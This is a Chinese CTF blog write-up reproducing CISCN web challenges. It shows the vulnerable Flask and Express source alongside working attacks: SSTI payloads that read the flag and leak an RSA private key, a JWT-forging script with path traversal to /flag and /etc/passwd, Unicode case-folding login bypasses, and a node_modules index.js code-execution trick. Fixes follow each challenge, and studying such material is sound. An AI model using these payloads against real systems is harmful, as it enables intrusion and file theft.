CHHHCHHOH 's BLOG

ciscn 国赛复现

solon_master

break

主要是要绕过一个判断和waf进行反序列化

fix

加黑名单

Fobee

break

主要就三个路由,第一个得到密码,第二个ssti,第三个看java版本信息


为了得到密码,我们来看看equalsIgnoreCase这个函数,有三种情况返回true,结合题目也就是要求username转大写等于ADMIN,绕过方法和nodejs的大小写绕过一样,具体看ezjs

不懂solon的传参方法,就把payload写在defaultValue里,成功绕过得到password

ssti直接看这个issue,成功读取文件

但是MD5后返回,所以我们可以直接一个个读,然后爆破
${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("flag",""))).charAt(0)}

fix

直接把username大小写转化的部分给删了。reader把一些恶意类给ban了。

ShareCard

break

from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os

class SaferSandboxedEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr: str, value) -> bool:
        return True

    def is_safe_callable(self, obj) -> bool:
        return False

class Info(BaseModel):
    name: str
    avatar: str
    signature: str
    def parse_avatar(self):
        self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()

def safer_render_template(template_name, **kwargs):
    env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
    return env.from_string(open('templates/'+template_name).read()).render(**kwargs)

app = Flask(__name__)
rsakey = RSA.generate(1024)

@app.route("/createCard", methods=["GET", "POST"])
def create_card():
    if request.method == "GET":
        return safer_render_template("create.html")
    if request.form.get('style')!=None:
        open('templates/style.css','w').write(request.form.get('style'))
    info=Info(**request.form)
    if info.avatar not in os.listdir('avatars'):
        raise FileNotFoundError
    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
    share_url = request.url_root + url_for('show_card', token=token)
    qr_img = BytesIO()
    qrcode.make(share_url).save(qr_img,'png')
    qr_img.seek(0)
    share_img = base64.b64encode(qr_img.getvalue()).decode()
    return safer_render_template("created.html", share_url=share_url, share_img=share_img)

@app.route("/showCard", methods=["GET"])
def show_card():
    token = request.args.get("token")
    data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
    info = Info(**data)
    info.parse_avatar()
    return safer_render_template("show.html", info=info)

@app.route("/", methods=["GET"])
def index():
    return redirect(url_for('create_card'))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3232, debug=True)

很明显,这里会读取文件内容base64编码返回


如果我们能够控制avatar=../../../../etc/passwd,我们就可以任意读文件了,而这个值是从token中解密得到的。也就是我们必须想办法伪造我们的恶意token,而我们的token是用jwt的rs256加密的

然后这里还有两个ssti

但是这里还有限制,只能读属性,不能调用callable 函数,说明不能rce,但是可以读rsakey

接下来就是怎么ssti了,这里有个很奇怪的功能,就是可以写style

这里直接include了我们可以写的style.css,正常的写法是像上面那样写

既然可以include,我们直接拼接来ssti


在可以ssti的条件下现在我们来考虑怎么读rsakey
这里我们本地先调试一下
info.__class__.parse_avatar.__globals__.__getitem__('rsakey').publickey().exportKey()

info.__class__.parse_avatar.__globals__.__getitem__('rsakey').exportKey()

{{info.__class__.parse_avatar.__globals__}},报错了,不过无所谓

这里只要给它正常的token就不报错,得到rsakey

name=1&avatar=%F0%9F%A4%A1.svg&signature=7*7&style=</style>
   {{info.__class__.parse_avatar.__globals__}}
{{7*7}}
<style>

这里写个脚本来得到publickey和privatekey

from Crypto.PublicKey.RSA import RsaKey
a = RsaKey(n=168847430506413632232758779998262041886095415651306627903844639769807505101122721915333525226451845552461432997694396485863356992519505258312851407042794613258187802636062493691470333386027479343582225457312830629407968204139014694417049193885039077195522230426232547258300958117051629795564704141112563342317, e=65537, d=58684510613471622365957848098027263836939154640973226885481074884060536051289704438522773969026963974456666017997207122007347690245346762498285386111979112695931741355577195267733375552126424175891603880833791426515194317841598959724479664325077615305203684574455749621267890578034651143810527598493647253657, p=12780798986926360516066912983561284634517903628158644181120044713618219509596753657724383431129390676550412389626771170734078167682242671292334242294734999, q=13211023088551019799809936126119425895962064230649348946782191145971976890687993393060472166746897955967310528034942787711754545685545170585078339310662683, u=445179507521355119116415121827634627579291254360873107183756519332790086792266254850675911860654307044235880800935795988955895875416496978288327978913093)
print(a.export_key().decode())
print(a.public_key().export_key().decode())

成功解密


修改avatar为../../../etc/passwd

成功读到/etc/passwd

from Crypto.PublicKey.RSA import RsaKey
import jwt
import base64
from pydantic import BaseModel

class Info(BaseModel):
    name: str
    avatar: str
    signature: str
    def parse_avatar(self):
        self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
rsakey = RsaKey(n=150578113349205898488276292890099829389704668362565162059995081477317214405659763411677321600040650538234246341706811185256612685821470590192288260262833422179691345149780616046851112635772210271526453592527184426413222909270410889678801019514677783715580426838923931302662761057208469812736651721887467973411, e=65537, d=52653056053329828535126473076521243575524772762420076237055057214625935638300532038752206241471711675228422208671805827653587509569063746893229380598947488528218626065670559794191192592502048018501192362831817529832994394859149123508674228855018144606173522625084683679618604161317490521094088999515262188181, p=11467872222303462592781090966597204328470121262204536176295456548804930456457258518405480667349859078900690861447977805174219051342776881544474886773592399, q=13130431734001343813537751585004605159702109372048959793702371813691280191549458749092926017322209662167944140640359694300083187372654472989089287616990189, u=203032258646615363878640478081210301207565868998325937320945830665975047861423174393933577299896298708631067218485168226553587516652972926456967628027984)
print(rsakey.export_key().decode())
print(rsakey.public_key().export_key().decode())
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiMSIsImF2YXRhciI6Ilx1ZDgzZVx1ZGQyMS5zdmciLCJzaWduYXR1cmUiOiI3KjcifQ.m10hrLYLszf_ab3ZlYonelJAmiW2kWdwt2jRgQDwemwybjAJ_9AdlXrh7fxuBrkXjmAKX1irYPj1RWVL32k3c_esIYmu1KhRNuH_nTser4Hqm75Ipl6wq-wtatsn9VCO222W7ode6yxgnfUbzYel3dq_e1nE1vWrLpdsZIqVKu4"
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
print(data)
print(data['avatar'])
data['avatar']='../../../../../../flag'
print(data)
token = jwt.encode(data, rsakey.exportKey(), algorithm="RS256")
print(token)

成功读到

fix

删除include,然后用正常的方式导入


注意不能注释,注释了还是可以ssti,只不过结果在注释里

还可以把..ban掉,防止路径穿越

这里感觉不太好改,因为它要访问info的属性

ezjs

break

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');

const path = require("path");

function createDirectoriesForFilePath(filePath) {
    const dirname = path.dirname(filePath);

    fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
    if (req.session.user!=null){
        next()
    }else {
        res.redirect('/login')
    }
}

const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
    },
    filename: function (req, file, cb) {
        console.log(file.originalname)
        // 直接使用原始文件名
        cb(null, file.originalname);
    }
});

// 配置 multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

admin={
    "username":"ADMIN",
    "password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
    secret: 'Can_U_hack_me?',
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600 * 1000 }
}));

app.get('/',(req,res)=>{
    res.redirect('/login')
})

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username === 'admin'){
        return res.status(400).send('you can not be admin');
    }
    const new_username = username.toUpperCase()

    if (new_username === admin.username && password === admin.password) {
        req.session.user = "ADMIN";
        res.redirect('/rename');
    } else {
        // res.redirect('/login');
    }
});

app.get('/upload', (req, res) => {
    res.render('upload');
});

app.post('/upload', upload.single('fileInput'), (req, res) => {
    if (!req.file) {
        return res.status(400).send('No file uploaded');
    }
    const fileExt = path.extname(req.file.originalname).toLowerCase();

    if (fileExt === '.ejs') {
        return res.status(400).send('Upload of .ejs files is not allowed');
    }
    res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render',(req, res) => {
    const { filename } = req.query;

    if (!filename) {
        return res.status(400).send('Filename parameter is required');
    }

    const filePath = path.join(__dirname, 'uploads', filename);

    if (filePath.endsWith('.ejs')) {
        return res.status(400).send('Invalid file type.');
    }

    res.render(filePath);
});

app.get('/rename',IfLogin, (req, res) => {

    if (req.session.user !== 'ADMIN') {
        return res.status(403).send('Access forbidden');
    }

    const { oldPath , newPath } = req.query;
    if (!oldPath || !newPath) {
        return res.status(400).send('Missing oldPath or newPath');
    }
    if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
        return res.status(400).send('Invalid file name');
    }
    if (oldPath && /\.\.|flag/i.test(oldPath)) {
        return res.status(400).send('Invalid file name');
    }
    const new_file = newPath.toLowerCase();

    const oldFilePath = path.join(__dirname, 'uploads', oldPath);
    const newFilePath = path.join(__dirname, 'uploads', new_file);

    if (newFilePath.endsWith('.ejs')){
        return res.status(400).send('Invalid file type.');
    }
    if (!oldPath) {
        return res.status(400).send('oldPath parameter is required');
    }

    if (!fs.existsSync(oldFilePath)) {
        return res.status(404).send('Old file not found');
    }

    if (fs.existsSync(newFilePath)) {
        return res.status(409).send('New file path already exists');
    }
    createDirectoriesForFilePath(newFilePath)
    fs.rename(oldFilePath, newFilePath, (err) => {
        if (err) {
            console.error('Error renaming file:', err);
            return res.status(500).send('Error renaming file');
        }

        res.send('File renamed successfully');
    });
});

app.listen('3000', () => {
    console.log(`http://localhost:3000`)
})

登录存在绕过,用nodejs的大小写转化的特性绕过就可以了。
toUpperCase():ı==>I,ſ==>S。
toLowerCase():İ==>i,K==>k。


顺便再给一个chatgpt给的验证脚本

// 指定特定字符
const targetCharacter = 'k';

// 函数:遍历并处理Unicode字符
function findCharactersConvertingToTarget(targetChar) {
    const results = [];

    for (let codePoint = 0; codePoint <= 0x10FFFF; codePoint++) {
        // 跳过代理对
        if (codePoint >= 0xD800 && codePoint <= 0xDFFF) continue;

        // 获取当前字符
        const char = String.fromCodePoint(codePoint);

        // 转换为小写
        const lowerChar = char.toLowerCase();

        // 检查转换结果是否为目标字符
        if (lowerChar === targetChar) {
            results.push({
                codePoint: codePoint.toString(16).toUpperCase(),
                original: char,
                lowerCase: lowerChar
            });
        }
    }

    return results;
}

// 执行函数并获取结果
const charactersConvertingToE = findCharactersConvertingToTarget(targetCharacter);

// 输出结果
console.log(`Characters converting to '${targetCharacter}':`);
charactersConvertingToE.forEach(item => {
    console.log(`U+${item.codePoint}: '${item.original}' -> '${item.lowerCase}'`);
});

console.log(`Total: ${charactersConvertingToE.length} characters.`);

render存在ssti,endsWith是区分大小写的,但Ejs这种后缀也可以解析,或者直接不写后缀,也可以解析对应的ejs文件


还有个上传的路由,可以上传不是ejs后缀的文件

rename路由很容易想到是否可以把上传的文件重命名为ejs,但是尝试之后没成功

但是rename在重命名的时候提供了创建文件夹和路径穿越的功能,相当于可以把我们的上传的文件放在任意文件夹下

后面参考这篇文章,可以通过在node_modules创建一个文件夹写入index.js


在渲染的时候会自动去执行这个模块的index.js

fix

直接ban../

添加新评论